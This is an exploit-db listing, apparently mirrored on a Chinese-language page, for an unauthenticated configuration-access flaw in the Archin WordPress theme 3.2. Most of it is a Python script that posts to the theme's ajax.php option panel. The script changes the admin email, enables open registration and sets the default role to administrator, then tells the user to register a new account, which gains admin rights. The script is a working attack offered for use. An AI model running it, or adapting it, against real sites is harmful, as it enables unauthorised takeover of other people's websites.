WordPress Theme Archin 3.2 – Configuration Access

  • 作者: bwall
    日期: 2012-10-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/21646/
  • # Exploit Title: Archin WordPress Theme Unauthenticated Configuration Access
    # Date: Sept 29, 2012
    # Exploit Author: bwall (@bwallHatesTwits)
    # Vendor Homepage: http://themeforest.net/user/wptitans
    # Software Link: http://themeforest.net/item/archin-premium-wordpress-business-theme/239432
    # Version: 3.2
    # Tested on: Ubuntu
    import httplib, urllib
    
    #target site
    site = "10.10.10.5"
    #path to ajax.php
    url = "/wordpress/wp-content/themes/archin/hades_framework/option_panel/ajax.php"
    
    def ChangeOption(site, url, option_name, option_value):
    	params = urllib.urlencode({'action': 'save', 'values[0][name]': option_name, 'values[0][value]': option_value})
    	headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
    	conn = httplib.HTTPConnection(site)
    	conn.request("POST", url, params, headers)
    	response = conn.getresponse()
    	print response.status, response.reason
    	data = response.read()
    	print data
    	conn.close()
    	
    ChangeOption(site, url, "admin_email", "fake@ballastsecurity.net")
    ChangeOption(site, url, "users_can_register", "1")
    ChangeOption(site, url, "default_role", "administrator")
    print "Now register a new user, they are an administrator by default!"